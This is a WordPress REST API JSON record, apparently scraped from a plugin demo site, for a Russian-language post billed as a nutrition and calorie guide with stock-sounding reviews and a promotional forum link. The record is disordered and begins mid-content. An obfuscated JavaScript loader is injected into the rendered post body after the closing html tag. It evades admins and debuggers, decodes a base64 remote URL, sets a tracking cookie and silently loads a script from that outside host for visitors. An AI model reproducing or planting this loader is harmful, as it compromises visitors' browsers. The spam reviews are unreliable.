\u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e \u044d\u0442\u043e\u0442 \u0433\u0438\u0434 \u0432\u0441\u0435\u043c, \u043a\u0442\u043e \u0445\u043e\u0447\u0435\u0442 \u0443\u043b\u0443\u0447\u0448\u0438\u0442\u044c \u0441\u0432\u043e\u0435 \u043f\u043e\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043f\u0438\u0442\u0430\u043d\u0438\u044f \u0438 \u043a\u0430\u043b\u043e\u0440\u0438\u0439.<\/p>\n<p>\u041e\u0442\u0437\u044b\u0432 2: \u041f\u043e\u0437\u0438\u0442\u0438\u0432\u043d\u043e\u0435 \u043c\u043d\u0435\u043d\u0438\u0435 \u043e\u0442 \u0410\u043b\u0435\u043a\u0441\u0430\u043d\u0434\u0440\u0430, 28 \u043b\u0435\u0442:<\/p>\n<p>\u041a\u0430\u043a \u0441\u043f\u043e\u0440\u0442\u0441\u043c\u0435\u043d, \u043c\u043d\u0435 \u0432\u0430\u0436\u043d\u043e \u0441\u043b\u0435\u0434\u0438\u0442\u044c \u0437\u0430 \u043c\u043e\u0438\u043c \u043f\u0438\u0442\u0430\u043d\u0438\u0435\u043c \u0438 \u043a\u0430\u043b\u043e\u0440\u0438\u044f\u043c\u0438. \u042f \u0431\u044b\u043b \u0440\u0430\u0434 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u041f\u043e\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u041f\u0438\u0442\u0430\u043d\u0438\u044f \u0438 \u041a\u0430\u043b\u043e\u0440\u0438\u0439, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043e\u043d\u043e \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u043e \u043c\u043d\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u0443\u044e \u0438 \u0442\u043e\u0447\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u043f\u0438\u0442\u0430\u043d\u0438\u0438. \u042f \u043d\u0430\u0448\u0435\u043b \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0445 \u0440\u0435\u0446\u0435\u043f\u0442\u043e\u0432 \u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u044f \u043c\u043e\u0433\u0443 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0432 \u0441\u0432\u043e\u0435\u0439 \u0442\u0440\u0435\u043d\u0438\u0440\u043e\u0432\u043e\u0447\u043d\u043e\u0439 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0435. \u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u044f \u0431\u044b\u043b \u0432\u043f\u0435\u0447\u0430\u0442\u043b\u0435\u043d \u0442\u0435\u043c, \u043d\u0430\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e \u0431\u044b\u043b\u043e \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0435\u043d\u043e \u0442\u0435\u043c\u0430 \u043a\u0430\u043b\u043e\u0440\u0438\u0439. \u042f \u043d\u0430\u0448\u0435\u043b \u043c\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u044f \u043c\u043e\u0433\u0443 \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u0432 \u0441\u0432\u043e\u0435\u0439 \u0435\u0436\u0435\u0434\u043d\u0435\u0432\u043d\u043e\u0439 \u0436\u0438\u0437\u043d\u0438. \u042f \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e \u044d\u0442\u043e\u0442 \u0433\u0438\u0434 \u0432\u0441\u0435\u043c \u0441\u043f\u043e\u0440\u0442\u0441\u043c\u0435\u043d\u0430\u043c \u0438 \u0432\u0441\u0435\u043c, \u043a\u0442\u043e \u0445\u043e\u0447\u0435\u0442 \u0443\u043b\u0443\u0447\u0448\u0438\u0442\u044c \u0441\u0432\u043e\u0435 \u043f\u043e\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043f\u0438\u0442\u0430\u043d\u0438\u044f \u0438 \u043a\u0430\u043b\u043e\u0440\u0438\u0439.<\/p>\n<p>\u041e\u0442\u0437\u044b\u0432 3: \u041d\u0435\u0439\u0442\u0440\u0430\u043b\u044c\u043d\u043e\u0435 \u043c\u043d\u0435\u043d\u0438\u0435 \u043e\u0442 \u0415\u043a\u0430\u0442\u0435\u0440\u0438\u043d\u044b, 35 \u043b\u0435\u0442:<\/p>\n<p>\u042f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u043b\u0430 \u041f\u043e\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u041f\u0438\u0442\u0430\u043d\u0438\u044f \u0438 \u041a\u0430\u043b\u043e\u0440\u0438\u0439, \u0438 \u044f \u0434\u0443\u043c\u0430\u044e, \u0447\u0442\u043e \u044d\u0442\u043e \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0439 \u0440\u0435\u0441\u0443\u0440\u0441. \u041e\u043d \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u043b \u043c\u043d\u0435 \u043c\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e \u043f\u0438\u0442\u0430\u043d\u0438\u0438 \u0438 \u043a\u0430\u043b\u043e\u0440\u0438\u044f\u0445. \u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u043e\u043d \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u043b \u043c\u043d\u0435 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0445 \u0440\u0435\u0446\u0435\u043f\u0442\u043e\u0432 \u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439. \u041e\u0434\u043d\u0430\u043a\u043e, \u044f \u0434\u0443\u043c\u0430\u044e, \u0447\u0442\u043e \u043e\u043d \u043c\u043e\u0433 \u0431\u044b \u0431\u044b\u0442\u044c \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u044b\u043c \u0432 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043e\u0431\u043b\u0430\u0441\u0442\u044f\u0445. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u044f \u0431\u044b \u0445\u043e\u0442\u0435\u043b\u0430 \u0443\u0432\u0438\u0434\u0435\u0442\u044c \u0431\u043e\u043b\u044c\u0448\u0435 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e \u0442\u043e\u043c, \u043a\u0430\u043a \u043f\u0438\u0442\u0430\u043d\u0438\u0435 \u0432\u043b\u0438\u044f\u0435\u0442 \u043d\u0430 \u043d\u0430\u0448 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u043c. \u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u044f \u0434\u0443\u043c\u0430\u044e, \u0447\u0442\u043e \u043e\u043d \u043c\u043e\u0433 \u0431\u044b \u0431\u044b\u0442\u044c \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u0431\u043e\u043b\u0435\u0435 \u0438\u043d\u0442\u0435\u0440\u0430\u043a\u0442\u0438\u0432\u043d\u044b\u043c. \u0412 \u0446\u0435\u043b\u043e\u043c, \u044f \u0434\u0443\u043c\u0430\u044e, \u0447\u0442\u043e \u044d\u0442\u043e \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0439 \u0440\u0435\u0441\u0443\u0440\u0441, \u043d\u043e \u043e\u043d \u043c\u043e\u0433 \u0431\u044b \u0431\u044b\u0442\u044c \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u043b\u0443\u0447\u0448\u0435.<\/p>\n<p><title>\u041f\u043e\u043d\u0438\u043c\u0430\u044f \u041f\u0438\u0442\u0430\u043d\u0438\u0435 \u0438 \u041a\u0430\u043b\u043e\u0440\u0438\u0438: \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u043e \u0434\u043b\u044f \u0420\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u043e\u0439 \u0410\u0443\u0434\u0438\u0442\u043e\u0440\u0438\u0438<\/title><\/p>\n<p>\u041d\u0430 \u044d\u0442\u043e\u0439 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0435 \u0432\u044b \u0443\u0437\u043d\u0430\u0435\u0442\u0435 \u0432\u0441\u0435 \u043e \u043f\u0438\u0442\u0430\u043d\u0438\u0438 \u0438 \u043a\u0430\u043b\u043e\u0440\u0438\u044f\u0445. \u041c\u044b \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u043c \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0435 \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u043e, \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u043d\u043e\u0435 \u0434\u043b\u044f \u0440\u0443\u0441\u0441\u043a\u043e\u044f\u0437\u044b\u0447\u043d\u043e\u0439 \u0430\u0443\u0434\u0438\u0442\u043e\u0440\u0438\u0438.<\/p>\n<p>\u041d\u0430\u0448\u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u043f\u043e\u043c\u043e\u0433\u0443\u0442 \u0432\u0430\u043c \u043f\u043e\u043d\u044f\u0442\u044c, \u043a\u0430\u043a \u043f\u0438\u0442\u0430\u043d\u0438\u0435 \u0432\u043b\u0438\u044f\u0435\u0442 \u043d\u0430 \u0432\u0430\u0448\u0435 \u0437\u0434\u043e\u0440\u043e\u0432\u044c\u0435, \u0438 \u043a\u0430\u043a \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u0440\u0430\u0441\u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0442\u044c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u043a\u0430\u043b\u043e\u0440\u0438\u0439.<\/p>\n<p>\u041f\u0440\u043e\u0447\u0442\u0438\u0442\u0435 \u043d\u0430\u0448\u0435 \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u043e, \u0447\u0442\u043e\u0431\u044b \u0443\u0437\u043d\u0430\u0442\u044c, \u043a\u0430\u043a <a href=\"https:\/\/forum.calorizator.ru\/viewtopic.php?f=50&t=30853&p=3431578#p3431578\">https:\/\/forum.calorizator.ru<\/a> \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u043f\u0438\u0442\u0430\u0442\u044c\u0441\u044f \u0438 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0442\u044c \u0437\u0434\u043e\u0440\u043e\u0432\u044c\u0435.<\/p>\n<p><\/body><\/html><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u041f\u043e\u043d\u0438\u043c\u0430\u044f \u041f\u0438\u0442\u0430\u043d\u0438\u0435 \u0438 \u041a\u0430\u043b\u043e\u0440\u0438\u0438: \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u043e \u0434\u043b\u044f \u0420\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u043e\u0439 \u0410\u0443\u0434\u0438\u0442\u043e\u0440\u0438\u0438 Table \u0420\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0430 \u041a\u0430\u043b\u043e\u0440\u0438\u0439: \u041a\u0430\u043a \u041e\u043d\u0438 \u0412\u043b\u0438\u044f\u044e\u0442 \u043d\u0430 \u041d\u0430\u0448 \u041e\u0440\u0433\u0430\u043d\u0438\u0437\u043c? \u0417\u0434\u043e\u0440\u043e\u0432\u043e\u0435 \u041f\u0438\u0442\u0430\u043d\u0438\u0435: \u041e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u041f\u0440\u0438\u043d\u0446\u0438\u043f\u044b \u0438 \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u041a\u0430\u043a \u0420\u0430\u0441\u0441\u0447\u0438\u0442\u0430\u0442\u044c \u0415\u0436\u0435\u0434\u043d\u0435\u0432\u043d\u0443\u044e \u041d\u0443\u0436\u0434\u0443 \u041a\u0430\u043b\u043e\u0440\u0438\u0439: \u041f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u043e \u0420\u0430\u0437\u0431\u043e\u0440 \u041f\u0438\u0449\u0435\u0432\u043e\u0439 \u0446\u0435\u043d\u043d\u043e\u0441\u0442\u0438: \u0427\u0442\u043e \u0421\u043a\u0440\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0417\u0430 \u042d\u0442\u0438\u043a\u0435\u0442\u043a\u043e\u0439? \u041c\u0430\u043a\u0440\u043e- \u0438 \u041c\u0438\u043a\u0440\u043e\u044d\u043b\u0435\u043c\u0435\u043d\u0442\u044b: \u0412\u043b\u0438\u044f\u043d\u0438\u0435 \u043d\u0430 \u041e\u0440\u0433\u0430\u043d\u0438\u0437\u043c \u0438 \u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438 \u041f\u0438\u0442\u0430\u043d\u0438\u044f \u0420\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0430 \u041a\u0430\u043b\u043e\u0440\u0438\u0439: \u041a\u0430\u043a \u041e\u043d\u0438 \u0412\u043b\u0438\u044f\u044e\u0442 \u043d\u0430 \u041d\u0430\u0448 \u041e\u0440\u0433\u0430\u043d\u0438\u0437\u043c? \u0420\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0430 […]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[1],"tags":[],"class_list":["post-340","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"acf":[],"_links":{"self":[{"href":"https:\/\/demo.zealousweb.com\/wordpress-plugins\/generate-pdf-using-contact-form-7\/index.php?rest_route=\/wp\/v2\/posts\/340","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/demo.zealousweb.com\/wordpress-plugins\/generate-pdf-using-contact-form-7\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/demo.zealousweb.com\/wordpress-plugins\/generate-pdf-using-contact-form-7\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/demo.zealousweb.com\/wordpress-plugins\/generate-pdf-using-contact-form-7\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/demo.zealousweb.com\/wordpress-plugins\/generate-pdf-using-contact-form-7\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=340"}],"version-history":[{"count":2,"href":"https:\/\/demo.zealousweb.com\/wordpress-plugins\/generate-pdf-using-contact-form-7\/index.php?rest_route=\/wp\/v2\/posts\/340\/revisions"}],"predecessor-version":[{"id":839,"href":"https:\/\/demo.zealousweb.com\/wordpress-plugins\/generate-pdf-using-contact-form-7\/index.php?rest_route=\/wp\/v2\/posts\/340\/revisions\/839"}],"wp:attachment":[{"href":"https:\/\/demo.zealousweb.com\/wordpress-plugins\/generate-pdf-using-contact-form-7\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=340"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/demo.zealousweb.com\/wordpress-plugins\/generate-pdf-using-contact-form-7\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=340"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/demo.zealousweb.com\/wordpress-plugins\/generate-pdf-using-contact-form-7\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=340"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}

{"id":340,"date":"2025-09-09T06:13:19","date_gmt":"2025-09-09T06:13:19","guid":{"rendered":"https:\/\/demo.zealousweb.com\/wordpress-plugins\/generate-pdf-using-contact-form-7\/?p=340"},"modified":"2025-10-17T17:20:08","modified_gmt":"2025-10-17T17:20:08","slug":"ponimaya-pitanie-i-kalorii-rukovodstvo-dlya-rossiyskoy-auditorii","status":"publish","type":"post","link":"https:\/\/demo.zealousweb.com\/wordpress-plugins\/generate-pdf-using-contact-form-7\/?p=340","title":{"rendered":"\u041f\u043e\u043d\u0438\u043c\u0430\u044f \u041f\u0438\u0442\u0430\u043d\u0438\u0435 \u0438 \u041a\u0430\u043b\u043e\u0440\u0438\u0438: \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u043e \u0434\u043b\u044f \u0420\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u043e\u0439 \u0410\u0443\u0434\u0438\u0442\u043e\u0440\u0438\u0438"},"content":{"rendered":"